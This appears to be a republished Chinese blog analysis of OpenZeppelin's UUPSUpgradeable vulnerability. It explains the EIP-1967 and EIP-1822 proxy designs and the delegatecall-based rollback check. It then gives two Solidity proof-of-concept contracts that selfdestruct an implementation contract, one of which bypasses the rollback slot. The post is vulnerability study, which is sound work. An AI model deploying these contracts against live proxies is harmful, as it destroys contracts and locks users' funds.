UUPSUpgradeable 漏洞分析

这篇文章主要介绍了UUPSUpgradeable 漏洞分析 ,文中通过代码以及文档配合进行讲解,很详细,它对在座的每个人的研究和工作具有很经典的参考价值。 如果需要,让我们与区块链资料网一起学习。

https://www.interchains.cc/24802.html

UUPSUpgradeable 漏洞分析是很好的区块链资料,他说明了区块链当中的经典原理,可以给我们提供资料,UUPSUpgradeable 漏洞分析学习起来其实是很简单的,

不多的几个较为抽象的概念也很容易理解,之所以很多人感觉UUPSUpgradeable 漏洞分析比较复杂,一方面是因为大多数的文档没有做到由浅入深地讲解,概念上没有注意先后顺序,给读者的理解带来困难

UUPSUpgradeable 漏洞分析

  • samczsun

在UUPS中,其实现了EIP-1967. EIP-1967的目的是规定一个通用的存储插槽,用于在代理合约中的特定位置存放逻辑合约的地址。

UUPSUpgradeable 漏洞分析

UUPSUpgradeable 漏洞分析

参考链接:UUPSUpgradeable Vulnerability Post-mortem – General / Announcements – OpenZeppelin Community

EIP-1967

在UUPS中,其实现了EIP-1967. EIP-1967的目的是规定一个通用的存储插槽,用于在代理合约中的特定位置存放逻辑合约的地址。其规定了如下特定的插槽:

=> 逻辑合约地址 bytes32(uint256(keccak256("eip1967.proxy.implementation") - 1)) 更新该地址时,需要同时发出: event Upgraded(address indexed implementation);  => beacon地址 bytes32(uint256(keccak256("eip1967.proxy.beacon") - 1)) 更新该地址时,需要发出: event BeaconUpgraded(address indexed beacon);  => admin 地址 bytes32(uint256(keccak256("eip1967.proxy.admin") - 1)) 更新该地址时,需要发出: event AdminChanged(address indexed previousAdmin, address newAdmin);

EIP-1967在设计如上插槽的时,特意将计算得到的地址减去1,目的是为了不能知道哈希的前像,进一步减少可能的攻击机会。

EIP-1967设计特定的插槽,而不是给定一个返回逻辑合约地址的函数,其目的在于防止函数签名攻击。函数签名攻击的思路是:由于solidity中识别一个函数,靠的是函数签名,而函数签名是函数哈希后的前4个bytes,是非常容易碰撞出来的。在一个独立的solidity文件中,编译器自己会去检查所有的external和public函数是否存在函数签名碰撞,而对于代理模式的合约文件,可能存在proxy合约中的函数签名与impl合约中的函数签名碰撞。而一旦发生这种碰撞,proxy合约中的函数就会被直接调用,而不是impl合约对应的函数。

比如EIP-897中,其规定了如下两个函数:

interface ERCProxy {   function proxyType() public pure returns (uint256 proxyTypeId);   function implementation() public view returns (address codeAddr); }

作为一个实现EIP-897的代理合约,其在代理合约中会实现这两个函数。

UUPS EIP-1822

EIP-1822讨论的合约升级模式与Openzeppelin的透明合约升级模式的不同点在于:EIP-1822的代理合约只读取实现合约的地址,并将所有的方法都代理给实现合约,包括修改实现合约地址的逻辑部分也在实现合约里。而透明合约升级模式中,proxy合约管理着实现合约的地址,要实现合约升级,只需要在proxy合约中更改实现合约的地址即可。其他的逻辑代理给实现合约。

也就是说EIP-1822的实现合约既包含了普通的业务逻辑处理,更包含了自身的升级逻辑处理。简单来讲就是EIP-1822的实现合约部分,都需要继承自一个公共的可升级实现合约:proxiable.sol。在可升级的实现合约proxiable中,实现如下方法:

function proxiableUUID() public pure returns (bytes32) {     //作用是一个flag,用来判断是否返回特定值keccak256("PROXIABLE"),以判断该合约是否是一个实现了EIP-1822的可升级实现合约 } function updateCodeAddress(address newAddress) ineternal {     //简单来讲就是更新实际逻辑实现合约的地址     require(this.proxiableUUID() == Proxiable(newAddress).proxiableUUID());     bytes32 proxiableUUID_ = this.proxiableUUID();     assembly{      sstore(proxiableUUID_, newAddress)     } }

然后在实现合约中,所有的实现合约都继承自proxiable合约,然后实现自己的逻辑即可。因为代理合约只是从插槽keccak256("PROXIABLE")处读取实现合约的地址,而实现合约可以通过proxiable中的updateCodeAddress方法来更新这个地址,从而实现代理合约中对应插槽keccak256("PROXIABLE")位置处的地址改变为目标地址。

Openzeppelin的实现

Openzeppelin中关于EIP-1822的实现与EIP-1822中的定义并不一致,主要是EIP-1822中定义的插槽位置与EIP-1967中定义的插槽位置不一致导致。openzeppelin选择使用EIP-1967中定义的插槽位置来具体实现。同时EIP-1822也有很明显的缺点,即新来的一个实现合约中只实现了proxiableUUID方法,没有实现updateCodeAddress方法,则合约就无法继续升级,导致所有的代理合约都锁死。

故openzepplin在具体实现时,其实现的具体思路为:提供一个UUPSUpgradeable合约,在该合约中提供合约升级方法:upgradeTo. 与EIP-1822的不同点在于,它取消了proxiableUUID这个flag,增加了_autorizeUpgrade方法,用于授权一个新地址。同时提供了一个upgradeToAndCall方法,用于升级后马上进行初始化操作。

function upgradeTo(address newImplementation) external virtual {     //第一步检查msg.sender的权限     _authorizeUpgrade(newInplementation);     //第二步执行升级步骤     _upgradeToAndCallSecure(newImplementaion,new bytes(0),false); } function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {} function _authorizeUpgrade(address newImplementation) internal onlyOwner() {}

其中,openzeppelin通过回滚检测,来检查是否升级成功,避免了EIP-1822中遇到的问题:

function _upgradeToAndCallSecure(address newImplementation,bytes memory data,bool forceCall) internal {     //第一步:设置newImpl地址到实现合约地址     address oldImplementation = _getImplementation();     _setImplementation(newImplementation);     //第二步:针对新的实现合约地址进行初始化     if (data.length > 0 || forceCall) {         Address.delegateCall(newImplementation, data);     }     //第三步:执行回滚检查     // Perform rollback test if not already in progress     StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);     //第四步:首先假设触发回滚操作,由新地址重新回滚到旧地址上,再检查升级后的旧地址是否是之前的旧地址,如果是,则说明回滚成功。如果可以回滚成功,说明升级到该新地址是安全的。     if (!rollbackTesting.value) {         //需要执行回滚操作         //即将impl地址由新地址改回旧地址,通过调用新地址上的upgradeTo方法来进行         rollbackTesting.value = true;         Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));         rollbackTesting.value = false;         //检查回滚是否成功         require(oldImplementation == _getImplementation());         //最后设置回新地址,并打log Upgraded(address)         _upgradeTo(newImplementation);     } }

Openzepplin的实现漏洞分析

在上述的Openzeppelin的实现中,其通过回滚检测避免了EIP-1822中遇到的问题:即升级到一个不满足EIP-1822规范的合约时,此时代理合约和实现合约就完全被锁死,无法继续升级。但是其又引入了一个新的问题,即:回滚操作中事实上模拟了一遍新的实现合约地址中的upgradeTo操作,并且是通过delegatecall方式来进行调用。

通过delegatecall调用新合约地址的upgradeTo方法有什么问题呢?

查看黄皮书中关于delegatecall的定义为:

Message-call into this account with an alternative accounts' code, but persisting the current values for sender and value

$$ $(boldsymbol{sigma}’, g’, A^+, mathbf{o}) equiv begin{cases}begin{array}{l}Theta(boldsymbol{sigma}, I{mathrm{s}}, I{mathrm{o}}, I{mathrm{a}}, t, C{text{tiny CALLGAS}}(boldsymbol{mu}), \quad I{mathrm{p}}, 0, I{mathrm{v}}, mathbf{i}, I{mathrm{e}} + 1, I{mathrm{w}})end{array} & text{if} quad I_{mathrm{e}} < 1024 (boldsymbol{sigma}, g, varnothing, ()) & text{otherwise} end{cases} $$

this means that the receipient is in fact the same account as at persent, simply that the code is overwritten and the context is almost entirely identical

从黄皮书的定义来看,delegatecall事实上保存了当前账户的余额和msg.sender, 只是调用远程合约的代码,让远程合约的代码跑在当前账户的上下文环境上。

利用openzeppelin的在线代码生成,可以生成如下的代码: Contracts Wizard – OpenZeppelin Docs

// SPDX-License-Identifier: MIT pragma solidity ^0.8.2;  import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";  contract TestToken is Initializable, ERC20Upgradeable, OwnableUpgradeable, UUPSUpgradeable {     /// @custom:oz-upgrades-unsafe-allow constructor     constructor() initializer {}      function initialize() initializer public {         __ERC20_init("testToken", "MTK");         __Ownable_init();         __UUPSUpgradeable_init();     }      function mint(address to, uint256 amount) public onlyOwner {         _mint(to, amount);     }      function _authorizeUpgrade(address newImplementation)         internal         onlyOwner         override     {} }

注意这里的TestToken是UUPS升级合约的实现合约部分,而不是代理合约部分。那么应该如何去做这个TestToken的POC呢?

POC

这里不能直接在malicious合约中的upgradeTo方法中写selfdestruct,而是应该利用ForceCall部分的delegatecall,并通过写入rollbackTesting.value = true来绕过回滚检查,当这一笔交易执行结束后,合约TestToken的代码被完全清空。

pragma solidity ^0.8.0;  import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";  contract Exploit2 {      function hack() public {          bytes32  _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;          StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);          //avoid the rollback test          rollbackTesting.value = true;          selfdestruct(payable(tx.origin));      }     function _authorizeUpgrade(address newImplementation) internal  {      } }

讨论

那么在openzeppelin的UUPS实现中,使用delegatecall来进行回滚测试有什么问题呢?

问题就是:

Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));

上述代码将newInplementation地址上的upgradeTo方法代码放到当前地址来执行,如果在upgradeTo方法中,放入selfdestruct这一个opcode,让合约自毁,则当前合约地址就会自毁,根本不会继续执行后面的require语句:

require(oldImplementation == _getImplementation());

故简单的POC逻辑为:

pragma solidity 0.8.0; contract MaliciousImpl{     function upgradeTo(address newImplementation) external  {         selfdestruct(address(0));     } }

上述openzeppelin实现的代码中,最为核心的一条是理解:当delegatecall到一个selfdestruct方法后,程序所有的代码都会被直接清空,不会继续往下执行,也就不会去执行后面的require判断条件。

然而在remix中执行时,发现delegatecall之后的require语句还是执行了:

UUPSUpgradeable 漏洞分析

这是不对的,需要进一步理解黄皮书中关于selfdestruct这个opcode的定义:

selfdestruct: Halt execution and register account for later deletion
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {     require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");      // solhint-disable-next-line avoid-low-level-calls     (bool success, bytes memory returndata) = target.delegatecall(data);     return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); }

当delegatecall到一个selfdestruct的方法时,其返回值为0,然后代码继续运行。如果此笔交易在后续的执行过程中成功,则上下文地址上的代码将会被清空。如果该笔交易在后续的执行过程中失败,则整体状态会回滚。

部分转自网络,侵权联系删除www.interchains.cchttps://www.interchains.cc/24802.html

区块链毕设网(www.interchains.cc)全网最靠谱的原创区块链毕设代做网站 部分资料来自网络,侵权联系删除! 最全最大的区块链源码站 ! QQ3039046426
区块链知识分享网, 以太坊dapp资源网, 区块链教程, fabric教程下载, 区块链书籍下载, 区块链资料下载, 区块链视频教程下载, 区块链基础教程, 区块链入门教程, 区块链资源 » UUPSUpgradeable 漏洞分析

提供最优质的资源集合

立即查看 了解详情